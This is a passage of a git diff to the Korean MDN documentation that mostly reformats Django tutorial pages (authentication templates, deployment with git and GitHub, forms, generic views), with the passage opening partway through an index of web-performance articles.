+  - : 많은 경우에 가장 쉬운 웹 성능 개선 방법은 미디어 최적화입니다. 사용자 에이전트의 기능, 크기, 픽셀 밀도를 고려해 미디어 파일을 각각 다르게 제공할 수 있습니다. 이 문서에서는 이미지가 웹 성능에 미치는 영향, 이미지당 전송되는 바이트의 크기를 줄이는 방법을 다룹니다.
+- [멀티미디어: 비디오](/ko/docs/Learn/Performance/video)
+  - : 많은 경우에 가장 쉬운 웹 성능 개선 방법은 미디어 최적화입니다. 이 문서에서는 비디오 콘텐츠가 웹 성능에 미치는 영향, 배경 영상에서 오디오 트랙을 제거하여 웹 성능 높이기와 같은 팁들을 다룹니다.
+- [JavaScript를 활용한 웹 성능 모범사례](/ko/docs/Learn/Performance/JavaScript)
+  - : 적절하게 JavaScript를 사용하면 상호작용할 수 있고 몰입되는 웹 경험을 줄 수 있습니다. 하지만 JavaScript를 잘못 사용할 경우 다운로드 시간, 렌더링 시간, 앱 자체의 성능, 배터리 수명, 사용자 경험을 심각하게 해칠 수도 있습니다. 이 문서에서는 컨텐츠가 복잡하더라도 최대한의 성능을 발휘할 수 있도록 고려해야 할 JavaScript 모범사례에 대해 소개합니다.
+- [HTML과 웹 성능](/ko/docs/Learn/Performance/HTML)
+  - : 마크업이 배치된 순서나 속성은 웹사이트 성능에 영향을 미칠 수 있습니다. DOM 노드의 개수를 최소화하고 HTML 문서에 콘텐츠(스타일, 스크립트, 미디어, 써드파티 스크립트 등)를 포함시키는 순서와 속성을 최적화하여 사용자 경험을 크게 개선할 수 있습니다. 이 문서에서는 최고의 성능을 끌어내려면 어떻게 HTML을 사용해야 하는지를 자세히 다룹니다.
+- [CSS와 웹 성능](/ko/docs/Learn/Performance/CSS)
+  - : 성능 개선에서 CSS 최적화는 상대적으로 덜 중요할 수 있습니다. 하지만 웹 성능에 더 많은 영향을 끼치는 CSS 기능이 몇 있습니다. 이 글에서는 해당 CSS 속성들과 웹 성능에 부정적인 영향을 끼치지 않으면서 스타일을 다루기 위해 권장되는 방법을 살펴봅니다.
+- [글꼴과 웹 성능](/ko/docs/Learn/Performance/Fonts)
+  - : 외부 글꼴을 포함해야 하는지, 만약 포함해야 한다면 어떻게 웹사이트의 성능에 미치는 영향을 최소화하면서 디자인이 요구하는 글꼴을 포함시킬 수 있는지를 살펴봅니다.
+- [모바일 환경에서의 웹 성능](/ko/docs/Learn/Performance/Mobile)
+  - : 모바일 기기로 웹에 접속하는 것이 대중화되면서, 모든 모바일 플랫폼은 완전한 형태의 웹 브라우저를 탑재하고 있습니다. 그러나 대역폭, CPU, 배터리 수명이 여전히 제한적이기 때문에 모바일 플랫폼에서 웹 컨텐츠의 성능을 고려해야 합니다. 이 글에서는 모바일 환경에 특화된 검토사항을 살펴봅니다.
+- [비즈니스에서의 웹 성능 활용 사례](/ko/docs/Learn/Performance/business_case_for_performance)
+  - : 웹 성능을 개선하기 위해 개발자는 많은 것을 할 수 있지만, 어느 정도까지 "빨라야" 할까요? 어떻게 경영진에게 웹 성능을 개선하는 것이 중요하다고 설득해야 할까요? 한 번 최적화를 하면 웹 성능 관련 문제가 다시 발생하지 않는다고 보장할 수 있을까요? 이 문서에서는 경영진 설득하는 법, 웹 성능을 중시하는 문화 만드는 법, 웹 성능을 위한 예산 책정하는 법을 살펴보고 코드베이스가 퇴보하지 않도록 하는 방법들을 소개합니다.
+
+## 참조 항목
+
+- [웹 성능 기초](/ko/docs/Learn/Performance/Web_Performance_Basics)
+  - : HTML, CSS, JavaScript, 미디어 파일 등 프론트엔드 구성 요소뿐만 아니라 어플리케이션을 느리게 만들 수 있는 기능들과 주관적, 객관적으로 빠르게 만들 수 있는 기능들이 있습니다. 웹 성능과 관련된 API, 개발자 도구, 모범 사례, 안 좋은 사례를 여럿 소개합니다. 여기에서는 그런 기능들을 기본적인 수준으로 다루면서 각 주제별로 성능을 개선하기 위해 더 깊게 살펴볼 수 있는 링크를 제공합니다.
+- [반응형 이미지](/ko/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images)
+  - : 이 문서에서는 반응형 이미지의 개념과 이를 구현하기 위해 HTML에서 제공하는 도구들을 배웁니다. 반응형 이미지란 화면 크기와 해상도, 그 외 여타 기능들에서 제각기 다른 다양한 기기들에서 잘 보여지는 이미지를 말합니다. 이를 통해 다양한 기기에서 웹 성능을 높일 수 있습니다. 반응형 이미지는 앞으로 배울 CSS 주제인 [반응형 디자인](/ko/docs/Learn/CSS/CSS_layout/Responsive_Design)의 한 부분입니다.
+- [MDN 웹 성능 구획](/ko/docs/Web/Performance)
+  - : 가장 주요한 웹 성능 구획입니다. 여기에서 웹 성능 API 개괄, 테스트 및 분석 도구, 웹 성능 병목현상 잡아내기 등 웹 성능에 관한 훨씬 더 자세한 내용들을 찾을 수 있습니다.
diff --git a/files/ko/learn/server-side/django/admin_site/index.md b/files/ko/learn/server-side/django/admin_site/index.md
index 83134b72232ed2..8e173181b830d8 100644
--- a/files/ko/learn/server-side/django/admin_site/index.md
+++ b/files/ko/learn/server-side/django/admin_site/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django Tutorial Part 4: Django admin site'
+title: "Django Tutorial Part 4: Django admin site"
 slug: Learn/Server-side/Django/Admin_site
 ---
 
diff --git a/files/ko/learn/server-side/django/authentication/index.md b/files/ko/learn/server-side/django/authentication/index.md
index 77064f15b56cb8..73822ae4d21e7f 100644
--- a/files/ko/learn/server-side/django/authentication/index.md
+++ b/files/ko/learn/server-side/django/authentication/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django Tutorial Part 8: User authentication and permissions'
+title: "Django Tutorial Part 8: User authentication and permissions"
 slug: Learn/Server-side/Django/Authentication
 ---
 
@@ -99,7 +99,7 @@ MIDDLEWARE = [
 3. 당신의 테스트 사용자(user)를 위해 적절한 사용자이름(**Username)** 과 비밀번호(**Password**/**Password confirmation)** 를 입력해주세요.
 4. 사용자(user)를 만들기 위해 **SAVE** 를 눌러줍시다.
 
-    관리자 사이트는 새로운 유저를 만들고, **username**을 바꿀 수 있고 유저모델의 선택 필드에 정보를 추가할 수 있는 _Change user화면으로 즉각 당신에게 보여줄 것입니다. 이 필드들은 이름, 성, 이메일 주소, 유저 상태 및 권한 (오직_ **Active** 표시만 가능합니다)를 포함합니다. 더 밑으로 내려가면 당신의 그룹과 권한 유저와 관련된 중요한 날짜들(예를 들어 가입일과 마지막 로그인 날짜)을 기입할 수 있습니다. ![Admin site - add user pt2](admin_authentication_add_user_prt2.png)
+   관리자 사이트는 새로운 유저를 만들고, **username** 을 바꿀 수 있고 유저모델의 선택 필드에 정보를 추가할 수 있는 _Change user화면으로 즉각 당신에게 보여줄 것입니다. 이 필드들은 이름, 성, 이메일 주소, 유저 상태 및 권한 (오직_ **Active** 표시만 가능합니다)를 포함합니다. 더 밑으로 내려가면 당신의 그룹과 권한 유저와 관련된 중요한 날짜들(예를 들어 가입일과 마지막 로그인 날짜)을 기입할 수 있습니다. ![Admin site - add user pt2](admin_authentication_add_user_prt2.png)
 
 5. 그룹 섹션에서, Available groups목록에서 **Library Member** 를 선택하고두 박스 사이에 있는 **오른쪽 화살표**를 누르면 Chosen groups box로 이동이 될 거에요![Admin site - add user to group](admin_authentication_user_add_group.png)
 6. 여기서는 아무것도 필요치 않습니다, 그저 **SAVE** 를 선택하고, 유저 목록으로 가십시오.
@@ -181,11 +181,11 @@ TEMPLATES = [
 
 ### Login template
 
-> **경고:** **Important**: The authentication templates provided in this article are a very basic/slightly modified version of the Django demonstration login templates. You may need to customise them for your own use!
+> **경고:** The authentication templates provided in this article are a very basic/slightly modified version of the Django demonstration login templates. You may need to customise them for your own use!
 
 Create a new HTML file called /**locallibrary/templates/registration/login.html**. give it the following contents:
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
@@ -204,21 +204,21 @@ Create a new HTML file called /**locallibrary/templates/registration/login.html*
 {% endif %}
 
 <form method="post" action="{% url 'login' %}">
-{% csrf_token %}
-
-<div>
-  <td>\{{ form.username.label_tag }}</td>
-  <td>\{{ form.username }}</td>
-</div>
-<div>
-  <td>\{{ form.password.label_tag }}</td>
-  <td>\{{ form.password }}</td>
-</div>
-
-<div>
-  <input type="submit" value="login" />
-  <input type="hidden" name="next" value="\{{ next }}" />
-</div>
+  {% csrf_token %}
+
+  <div>
+    <td>\{{ form.username.label_tag }}</td>
+    <td>\{{ form.username }}</td>
+  </div>
+  <div>
+    <td>\{{ form.password.label_tag }}</td>
+    <td>\{{ form.password }}</td>
+  </div>
+
+  <div>
+    <input type="submit" value="login" />
+    <input type="hidden" name="next" value="\{{ next }}" />
+  </div>
 </form>
 
 {# Assumes you setup the password_reset view in your URLconf #}
@@ -248,7 +248,7 @@ If you navigate to the logout URL (<http://127.0.0.1:8000/accounts/logout/>) the
 
 Create and open /**locallibrary/templates/registration/logged_out.html**. Copy in the text below:
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
@@ -271,7 +271,7 @@ The following templates can be used as a starting point.
 
 This is the form used to get the user's email address (for sending the password reset email). Create **/locallibrary/templates/registration/password_reset_form.html**, and give it the following contents:
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
@@ -290,11 +290,14 @@ This is the form used to get the user's email address (for sending the password
 
 This form is displayed after your email address has been collected. Create **/locallibrary/templates/registration/password_reset_done.html**, and give it the following contents:
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
-  <p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p>
+<p>
+  We've emailed you instructions for setting your password. If they haven't
+  arrived in a few minutes, check your spam folder.
+</p>
 {% endblock %}
 ```
 
@@ -302,7 +305,7 @@ This form is displayed after your email address has been collected. Create **/lo
 
 This template provides the text of the HTML email containing the reset link that we will send to users. Create **/locallibrary/templates/registration/password_reset_email.html**, and give it the following contents:
 
-```html
+```django
 Someone asked for password reset for email \{{ email }}. Follow the link below:
 \{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %}
 ```
@@ -311,35 +314,35 @@ Someone asked for password reset for email \{{ email }}. Follow the link below:
 
 This page is where you enter your new password after clicking the link in the password reset email. Create **/locallibrary/templates/registration/password_reset_confirm.html**, and give it the following contents:
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
-    {% if validlink %}
-        <p>Please enter (and confirm) your new password.</p>
-        <form action="" method="post">
-        {% csrf_token %}
-            <table>
-                <tr>
-                    <td>\{{ form.new_password1.errors }}
-                        <label for="id_new_password1">New password:</label></td>
-                    <td>\{{ form.new_password1 }}</td>
-                </tr>
-                <tr>
-                    <td>\{{ form.new_password2.errors }}
-                        <label for="id_new_password2">Confirm password:</label></td>
-                    <td>\{{ form.new_password2 }}</td>
-                </tr>
-                <tr>
-                    <td></td>
-                    <td><input type="submit" value="Change my password" /></td>
-                </tr>
-            </table>
-        </form>
-    {% else %}
-        <h1>Password reset failed</h1>
-        <p>The password reset link was invalid, possibly because it has already been used. Please request a new password reset.</p>
-    {% endif %}
+  {% if validlink %}
+    <p>Please enter (and confirm) your new password.</p>
+    <form action="" method="post">
+    {% csrf_token %}
+      <table>
+        <tr>
+          <td>\{{ form.new_password1.errors }}
+            <label for="id_new_password1">New password:</label></td>
+          <td>\{{ form.new_password1 }}</td>
+        </tr>
+        <tr>
+          <td>\{{ form.new_password2.errors }}
+            <label for="id_new_password2">Confirm password:</label></td>
+          <td>\{{ form.new_password2 }}</td>
+        </tr>
+        <tr>
+          <td></td>
+          <td><input type="submit" value="Change my password" /></td>
+        </tr>
+      </table>
+    </form>
+  {% else %}
+    <h1>Password reset failed</h1>
+    <p>The password reset link was invalid, possibly because it has already been used. Please request a new password reset.</p>
+  {% endif %}
 {% endblock %}
 ```
 
@@ -387,18 +390,17 @@ This section looks at what we can do to selectively control content the user see
 
 Open the base template (**/locallibrary/catalog/templates/base_generic.html**) and copy the following text into the `sidebar` block, immediately before the `endblock` template tag.
 
-```html
-  <ul class="sidebar-nav">
+```django
+<ul class="sidebar-nav">
+  ...
 
-    ...
-
-   {% if user.is_authenticated %}
-     <li>User: \{{ user.get_username }}</li>
-     <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li>
-   {% else %}
-     <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li>
-   {% endif %}
-  </ul>
+  {% if user.is_authenticated %}
+    <li>User: \{{ user.get_username }}</li>
+    <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li>
+  {% else %}
+    <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li>
+  {% endif %}
+</ul>
 ```
 
 As you can see, we use `if`-`else`-`endif` template tags to conditionally display text based on whether `\{{ user.is_authenticated }}` is true. If the user is authenticated then we know that we have a valid user, so we call **\\{{ user.get_username }}** to display their name.
diff --git a/files/ko/learn/server-side/django/deployment/index.md b/files/ko/learn/server-side/django/deployment/index.md
index 7db0710980ae1e..3cdab123c038f9 100644
--- a/files/ko/learn/server-side/django/deployment/index.md
+++ b/files/ko/learn/server-side/django/deployment/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django 튜토리얼 파트 11: Django 웹사이트 공개하기'
+title: "Django 튜토리얼 파트 11: Django 웹사이트 공개하기"
 slug: Learn/Server-side/Django/Deployment
 ---
 
@@ -199,10 +199,10 @@ git 으로 작업하는 수많은 방법이 있지만, [Github](https://github.c
 2. 로그인 해서 꼭대기 툴바의 **+** 링크를 클릭하여 **New repository**를 선택하라.
 3. 이 폼의 모든 필드에 기입하라. 그렇지 않으면 진행이 불가한 것은 아니지만, 모두 채울것을 강력 추천한다.
 
-    - 새로운 저장소 이름 (예시: _django_local_library_)과 설명 (예시: "Local Library website written in Django")을 입력하라.
-    - "_Add .gitignore" 선택 목록에서 "_**Python**_"을 선택하라_.
-    - "_Add a license" 선택 목록에서 선호하는 라이센스 유형을 선택하라_.
-    - "**Initialize this repository with a README**." 체크박스에 체크하라
+   - 새로운 저장소 이름 (예시: _django_local_library_)과 설명 (예시: "Local Library website written in Django")을 입력하라.
+   - "_Add .gitignore" 선택 목록에서 "_**Python**_"을 선택하라_.
+   - "_Add a license" 선택 목록에서 선호하는 라이센스 유형을 선택하라_.
+   - "**Initialize this repository with a README**." 체크박스에 체크하라
 
 4. " **Create repository"** 버튼을 누른다
 5. 신규 저장소 페이지에서 초록색의 "**Clone or download**" 버튼을 클릭한다.
@@ -213,65 +213,65 @@ git 으로 작업하는 수많은 방법이 있지만, [Github](https://github.c
 1. _git을 로컬 컴퓨터에 설치하라_ (플랫폼별 버전은 [이곳](https://git-scm.com/downloads) 에서 찾을 수 있다).
 2. 커맨드 프롬프트/터미널 을 열고 위에서 복사한 URL을 이용하여 저장소 내용을 복제(clone) 한다 :
 
-    ```bash
-    git clone https://github.com/<your_git_user_id>/django_local_library.git
-    ```
+   ```bash
+   git clone https://github.com/<your_git_user_id>/django_local_library.git
+   ```
 
-    이 명령은 현재 프롬프트의 위치에 저장소를 생성할 것이다.
+   이 명령은 현재 프롬프트의 위치에 저장소를 생성할 것이다.
 
 3. 새로운 저장소 위치로 이동한다.
 
-    ```bash
-    cd django_local_library.git
-    ```
+   ```bash
+   cd django_local_library.git
+   ```
 
 마지막 단계는 어플리케이션을 복사하여 git을 이용해 저장소에 파일을 추가하는 것이다 :
 
 1. 이 폴더에 Django 어플리케이션을 복사해 넣는다. (locallibrary 폴더를 포함한 위치가 아니라 **manage.py** 와 그 하위 폴더와 같은 위치의 모든 파일에 대해 작업한다).
 2. **.gitignore** 파일을 열어서, 아래 코드를 맨 밑에 복사하고, 저장하라 ( 이 파일은 기본 설정에 의해 git에 저장되지 말아야할 파일을 구분하는데 사용된다).
 
-    ```
-    # Text backup files
-    *.bak
+   ```
+   # Text backup files
+   *.bak
 
-    #Database
-    *.sqlite3
-    ```
+   #Database
+   *.sqlite3
+   ```
 
 3. 커맨드 프로프트/터미널을 열고 `add`명령으로 모든 파일을 git에 등록한다.
 
-    ```bash
-    git add -A
-    ```
+   ```bash
+   git add -A
+   ```
 
 4. status 명령을 사용하여 등록하고자 하는 파일이 맞는지 확인한다 ( 당신은 소스파일만 등록 하길 원하고 바이너리나 임시 파일은 원치 않을 것이다). 명령을 실행하면 아래와 유사하게 나온다.
 
-    ```
-    > git status
-    On branch master
-    Your branch is up-to-date with 'origin/master'.
-    Changes to be committed:
-      (use "git reset HEAD <file>..." to unstage)
-
-            modified:   .gitignore
-            new file:   catalog/__init__.py
-            ...
-            new file:   catalog/migrations/0001_initial.py
-            ...
-            new file:   templates/registration/password_reset_form.html
-    ```
+   ```
+   > git status
+   On branch master
+   Your branch is up-to-date with 'origin/master'.
+   Changes to be committed:
+     (use "git reset HEAD <file>..." to unstage)
+
+           modified:   .gitignore
+           new file:   catalog/__init__.py
+           ...
+           new file:   catalog/migrations/0001_initial.py
+           ...
+           new file:   templates/registration/password_reset_form.html
+   ```
 
 5. 위의 결과에 만족했다면, commit 명령으로 파일의 로컬 저장소 등록을 확정한다:
 
-    ```bash
-    git commit -m "First version of application moved into github"
-    ```
+   ```bash
+   git commit -m "First version of application moved into github"
+   ```
 
 6. 다음 명령을 이용하여 Github 웹사이트와 로컬 저장소를 동기화 한다:
 
-    ```
-    git push origin master
-    ```
+   ```
+   git push origin master
+   ```
 
 이런 작업이 완료된 후, repo를 생성한 Github 페이지로 다시 가서, 페이지를 새로 로딩하여, 전체 어플리케이션이 모두 업로드된것인지 확인할 수 있어야 한다. 이후로 파일 변경 사항이 발생하면 add/commit/push 순서로 명령을 사용하여 저장소를 업데이트 할 수 있다.
 
diff --git a/files/ko/learn/server-side/django/development_environment/index.md b/files/ko/learn/server-side/django/development_environment/index.md
index 70bc5fd78484f9..555ca2e64ef987 100644
--- a/files/ko/learn/server-side/django/development_environment/index.md
+++ b/files/ko/learn/server-side/django/development_environment/index.md
@@ -132,8 +132,8 @@ python3 -V
 
 1. 필요한 설치 파일을 다운로드하세요:
 
-    1. <https://www.python.org/downloads/> 로 가세요.
-    2. **Download Python 3.7.0** 버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).
+   1. <https://www.python.org/downloads/> 로 가세요.
+   2. **Download Python 3.7.0** 버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).
 
 2. 파인더를 통해 파일을 찾아, 패키지 파일을 더블클릭 하세요. 그리고선 설치 과정을 따릅니다.
 
@@ -156,8 +156,8 @@ pip3 list
 
 1. 필요한 설치 파일을 다운로드하세요:
 
-    1. <https://www.python.org/downloads/> 로 가세요
-    2. **Download Python 3.7.1** 버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).
+   1. <https://www.python.org/downloads/> 로 가세요
+   2. **Download Python 3.7.1** 버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).
 
 2. 다운로드된 파일을 더블클릭해서 파이썬을 설치하세요.
 
diff --git a/files/ko/learn/server-side/django/forms/index.md b/files/ko/learn/server-side/django/forms/index.md
index 841518faaf6cf2..13da9b6592c6d9 100644
--- a/files/ko/learn/server-side/django/forms/index.md
+++ b/files/ko/learn/server-side/django/forms/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django 튜토리얼 파트 9: 폼(form)으로 작업하기'
+title: "Django 튜토리얼 파트 9: 폼(form)으로 작업하기"
 slug: Learn/Server-side/Django/Forms
 ---
 
@@ -52,9 +52,13 @@ slug: Learn/Server-side/Django/Forms
 
 ```html
 <form action="/team_name_url/" method="post">
-    <label for="team_name">Enter name: </label>
-    <input id="team_name" type="text" name="name_field" value="Default name for team.">
-    <input type="submit" value="OK">
+  <label for="team_name">Enter name: </label>
+  <input
+    id="team_name"
+    type="text"
+    name="name_field"
+    value="Default name for team." />
+  <input type="submit" value="OK" />
 </form>
 ```
 
@@ -84,17 +88,17 @@ Django의 폼 처리 과정은 (모델에 대한 정보를 보여주는데 있
 
 1. 사용자가 처음으로 폼을 요청할 때 기본 폼을 보여준다.
 
-    - 폼은 비어있는 필드가 있을 수 있다 (예를 들면, 새로운 책을 등록할 경우) 아니면 초기값으로 채워진 필드가 있을 수도 있다. ( 예를 들면, 기존의 책을 수정하거나, 흔히 사용하는 초기값이 있을경우)
-    - 이 시점의 폼은 (초기값이 있긴해도) 유저가 입력한 값에 연관되지 않았기에 unbound 상태라고 불린다.
+   - 폼은 비어있는 필드가 있을 수 있다 (예를 들면, 새로운 책을 등록할 경우) 아니면 초기값으로 채워진 필드가 있을 수도 있다. ( 예를 들면, 기존의 책을 수정하거나, 흔히 사용하는 초기값이 있을경우)
+   - 이 시점의 폼은 (초기값이 있긴해도) 유저가 입력한 값에 연관되지 않았기에 unbound 상태라고 불린다.
 
 2. 제출 요청으로 부터 데이타를 수집하고 그것을 폼에 결합한다.
 
-    - 데이타를 폼에 결합(binding) 한다는 것은 사용자 입력 데이타와 유효성을 위반한 경우의 에러메시지가 폼을 재표시할 필요가 있을 때 준비되었다는 의미이다.
+   - 데이타를 폼에 결합(binding) 한다는 것은 사용자 입력 데이타와 유효성을 위반한 경우의 에러메시지가 폼을 재표시할 필요가 있을 때 준비되었다는 의미이다.
 
 3. 데이타를 다듬어서 유효성을 검증한다.
 
-    - 데이타를 다듬는다는 것은 사용자 입력을 정화(sanitisation) 하고 (예를 들면, 잠재적으로 악의적인 콘덴츠를 서버로 보낼수도 있는 유효하지 않은 문자를 제거하는 것) python에서 사용하는 타입의 데이타로 변환하는 것이다.
-    - 유효성검증은 입력된 값이 해당 필드에 적절한 값인지 검사한다. (예를 들면, 데이타가 허용된 범위에 있는 값인지, 너무 짧거나 길지 않은지 등등)
+   - 데이타를 다듬는다는 것은 사용자 입력을 정화(sanitisation) 하고 (예를 들면, 잠재적으로 악의적인 콘덴츠를 서버로 보낼수도 있는 유효하지 않은 문자를 제거하는 것) python에서 사용하는 타입의 데이타로 변환하는 것이다.
+   - 유효성검증은 입력된 값이 해당 필드에 적절한 값인지 검사한다. (예를 들면, 데이타가 허용된 범위에 있는 값인지, 너무 짧거나 길지 않은지 등등)
 
 4. 입력된 어떤 데이타가 유효하지 않다면, 폼을 다시 표시하는데 이번에는 초기값이 아니라 유저가 입력한 데이타와 문제가 있는 필드의 에러 메시지와 함께 표시한다.
 5. 입력된 모든 데이타가 유효하다면, 요청된 동작을 수행한다. (예를 들면, 데이타를 저장하거나, 이메일을 보내거나, 검색결과를 반환하거나, 파일을 업로딩하는 작업 등등)
@@ -361,19 +365,19 @@ def renew_book_librarian(request, pk):
 
 뷰 에서 참조되는 템플릿 (**/catalog/templates/catalog/book_renew_librarian.html**)을 생성하고 아래 코드를 복사해넣어라 :
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
-    <h1>Renew: {{ book_instance.book.title }}</h1>
-    <p>Borrower: {{ book_instance.borrower }}</p>
-    <p> if book_instance.is_overdue %} class="text-danger"{% endif %}>Due date: {{book_instance.due_back}}</p>
-
-    <form action="" method="post">
-        {% csrf_token %}
-        {{ form.as_table }}
-        <input type="submit" value="Submit">
-    </form>
+  <h1>Renew: {{ book_instance.book.title }}</h1>
+  <p>Borrower: {{ book_instance.borrower }}</p>
+  <p> if book_instance.is_overdue %} class="text-danger"{% endif %}>Due date: {{book_instance.due_back}}</p>
+
+  <form action="" method="post">
+    {% csrf_token %}
+    {{ form.as_table }}
+    <input type="submit" value="Submit">
+  </form>
 {% endblock %}
 ```
 
@@ -389,9 +393,16 @@ def renew_book_librarian(request, pk):
 <tr>
   <th><label for="id_renewal_date">Renewal date:</label></th>
   <td>
-    <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required />
+    <input
+      id="id_renewal_date"
+      name="renewal_date"
+      type="text"
+      value="2016-11-08"
+      required />
     <br />
-    <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span>
+    <span class="helptext"
+      >Enter date between now and 4 weeks (default 3 weeks).</span
+    >
   </td>
 </tr>
 ```
@@ -403,14 +414,21 @@ def renew_book_librarian(request, pk):
 ```html
 <tr>
   <th><label for="id_renewal_date">Renewal date:</label></th>
-   <td>
-      <ul class="errorlist">
-        <li>Invalid date - renewal in past</li>
-      </ul>
-      <input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required />
-      <br />
-      <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span>
-    </td>
+  <td>
+    <ul class="errorlist">
+      <li>Invalid date - renewal in past</li>
+    </ul>
+    <input
+      id="id_renewal_date"
+      name="renewal_date"
+      type="text"
+      value="2015-11-08"
+      required />
+    <br />
+    <span class="helptext"
+      >Enter date between now and 4 weeks (default 3 weeks).</span
+    >
+  </td>
 </tr>
 ```
 
@@ -431,8 +449,10 @@ def renew_book_librarian(request, pk):
 
 If you accepted the "challenge" in [Django Tutorial Part 8: User authentication and permissions](/ko/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself) you'll have a list of all books on loan in the library, which is only visible to library staff. We can add a link to our renew page next to each item using the template code below.
 
-```html
-{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a>  {% endif %}
+```django
+{% if perms.catalog.can_mark_returned %}-
+  <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a>
+{% endif %}
 ```
 
 > **참고:** Remember that your test login will need to have the permission "`catalog.can_mark_returned`" in order to access the renew book page (perhaps use your superuser account).
@@ -556,19 +576,17 @@ The "create" and "update" views use the same template by default, which will be
 
 Create the template file **locallibrary/catalog/templates/catalog/author_form.html** and copy in the text below.
 
-```html
-{% extends "base_generic.html" %}
+```django
+{% extends "base_generic.html" %} 
 
 {% block content %}
-
-<form action="" method="post">
+  <form action="" method="post">
     {% csrf_token %}
     <table>
-    {{ form.as_table }}
+      {{ form.as_table }}
     </table>
     <input type="submit" value="Submit" />
-
-</form>
+  </form>
 {% endblock %}
 ```
 
@@ -576,20 +594,18 @@ This is similar to our previous forms, and renders the fields using a table. Not
 
 The "delete" view expects to find a template named with the format _model_name_**\_confirm_delete.html** (again, you can change the suffix using `template_name_suffix` in your view). Create the template file **locallibrary/catalog/templates/catalog/author_confirm_delete.html** and copy in the text below.
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
+  <h1>Delete Author</h1>
 
-<h1>Delete Author</h1>
-
-<p>Are you sure you want to delete the author: \{{ author }}?</p>
-
-<form action="" method="POST">
-  {% csrf_token %}
-  <input type="submit" action="" value="Yes, delete." />
-</form>
+  <p>Are you sure you want to delete the author: \{{ author }}?</p>
 
+  <form action="" method="POST">
+    {% csrf_token %}
+    <input type="submit" action="" value="Yes, delete." />
+  </form>
 {% endblock %}
 ```
 
diff --git a/files/ko/learn/server-side/django/generic_views/index.md b/files/ko/learn/server-side/django/generic_views/index.md
index 9808b936f67d1a..95c4263761c231 100644
--- a/files/ko/learn/server-side/django/generic_views/index.md
+++ b/files/ko/learn/server-side/django/generic_views/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django Tutorial Part 6: Generic list and detail views'
+title: "Django Tutorial Part 6: Generic list and detail views"
 slug: Learn/Server-side/Django/Generic_views
 ---
 
@@ -126,7 +126,7 @@ class BookListView(generic.ListView):
 
 제네릭 뷰의 템플릿은 다른 템플릿과 비슷합니다 (물론 템플릿에 전달되는 컨텍스트나 정보는 다를지도 모르지만요). 다른 index 템플릿처럼, 우리는 첫번째 줄에 base 템플릿을 넣어 확장한 다음, `content`라는 이름의 블록으로 교체합니다.
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
@@ -151,7 +151,7 @@ class BookListView(generic.ListView):
 
 [`if`](https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#if), `else` 그리고 `endif` 라는 템플릿 태그들은 `book_list` 이 정의되었는지, 그리고 존재하는지 체크합니다. 만약 `book_list`가 없다면, 책이 존재하지 않는다는 `else` 절의 텍스트 문구가 표시될 것입니다. 만약 `book_list`가 존재한다면, 도서 목록의 갯수만큼 반복만큼 반복해서 실행합니다.
 
-```html
+```django
 {% if book_list %}
   <!-- code here to list the books -->
 {% else %}
@@ -165,9 +165,9 @@ class BookListView(generic.ListView):
 
 [for](https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#for) 와 `endfor` 라는 템플릿 태그들은 아래와 같이 도서 목록을 살펴보는 루프를 위해 사용합니다. 각각의 반복은 `book` 템플릿 변수에 현재 리스트 아이템에 대한 정보를 채웁니다.
 
-```html
+```django
 {% for book in book_list %}
-  <li> <!-- code here get information from each book item --> </li>
+  <li><!-- code here get information from each book item --></li>
 {% endfor %}
 ```
 
@@ -261,10 +261,10 @@ _Regular expressions_ 은 정말로 파워풀한 매핑 툴 입니다. 하지만
 
 몇 가지 실제 패턴 예제를 보도록 합시다:
 
-| Pattern                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| **r'^book/(?P\<pk>\d+)$'**      | 이것은 우리가 URL mapper에서 사용한 Regular Expression입니다. 이 표현식은 먼저 문자열이 `book/` 으로 시작하는지 검사하고 (**^book/**), 그 다음에 한 개이상의 숫자가 오는지 (`\d+`), 그리고 문자열이 끝나기 전에 숫자가 아닌 문자가 들어 있지는 않는 지 검사합니다.또한 이 표현식은 모든 숫자들을 변환하고 **(?P\<pk>\d+)** 변환된 값을 view 에 'pk'라는 이름의 parameter로 넘깁니다. **변환된 값은 항상 String type으로 넘어갑니다**!예를 들어, 이 표현식은 `book/1234` 을 매칭합니다. 그리고 변수 `pk='1234'` 를 view에 넘깁니다. |
